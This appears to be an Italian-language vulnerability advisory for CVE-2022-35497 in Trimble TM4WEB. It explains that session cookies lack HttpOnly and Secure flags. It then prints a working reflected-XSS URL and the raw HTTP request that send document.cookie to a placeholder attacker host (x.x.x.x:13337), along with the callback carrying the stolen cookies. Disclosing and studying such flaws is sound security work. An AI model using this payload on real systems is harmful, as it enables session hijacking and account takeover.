
TM4WEB Vulnerability - CVE-2022-35497
In Trimble's TM4WEB <=22.2.0, a causa di una errata configurazione di sicurezza degli identificatori di sessione, è possibile recuperare cookie di sessione validi tramite cross-site scripting riflesso che interessa l'endpoint del visualizzatore di documenti esterni.
Nello specifico, i tre cookie utilizzati per mantenere le sessioni sono UID, rstring e PHPSESSIONID, nessuno dei quali ha il flag HttpOnly appropriato per impedire il recupero tramite vettori di esecuzione JavaScript.
Passo 1 :
L'aggressore sfrutta la vulnerabilità di cross-site scripting riflesso CVE-2022-35499 per ottenere i cookie di sessione della vittima autenticata.
L'aggressore avvia un listener su una porta arbitraria di un server esposto a Internet in grado di ricevere richieste HTTP. Ciò può essere realizzato con un servizio come requestbin, oppure semplicemente avviando un listener netcat su una porta arbitraria.
L'URL di esempio sfrutta la XSS referenziata CVE-2022-35499 per eseguire un attacco di session hijacking su un utente autenticato e invia i cookie di sessione della vittima al server controllato dall'aggressore
(rappresentato da x.x.x.x al posto del nostro indirizzo IP nell'esempio) sulla porta 13337
Esempio di URL dannoso che utilizza un sito inesistente:
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
Questa vulnerabilità è possibile solo perché gli identificatori di sessione non sono adeguatamente protetti contro questo tipo di attacco.
I tre cookie utilizzati per mantenere le sessioni sono:
UID
rstring
PHPSESSIONID
Nessuno di questi cookie è configurato con il flag HttpOnly. Questa opzione di configurazione impedirebbe l'accesso ai valori dei cookie da un contesto JavaScript.
Allo stesso modo, questi cookie dovrebbero avere anche il flag SECURE abilitato, che ne impedisce la trasmissione su un canale non crittografato.
La richiesta GET dannosa utilizzata per eseguire l'attacco è mostrata di seguito, con l'IP del server dell'aggressore omesso e sostituito da x.x.x.x
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
La conseguente richiesta di callback che l'aggressore riceve sul proprio server è mostrata di seguito e rivela i cookie di sessione della vittima aggiunti al parametro ?c.
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
IMPATTO : gli utenti autenticati possono vedersi dirottare la sessione e gli account utente da aggressori che sfruttano la vulnerabilità di XSS riflesso da una posizione di attacco non autenticata.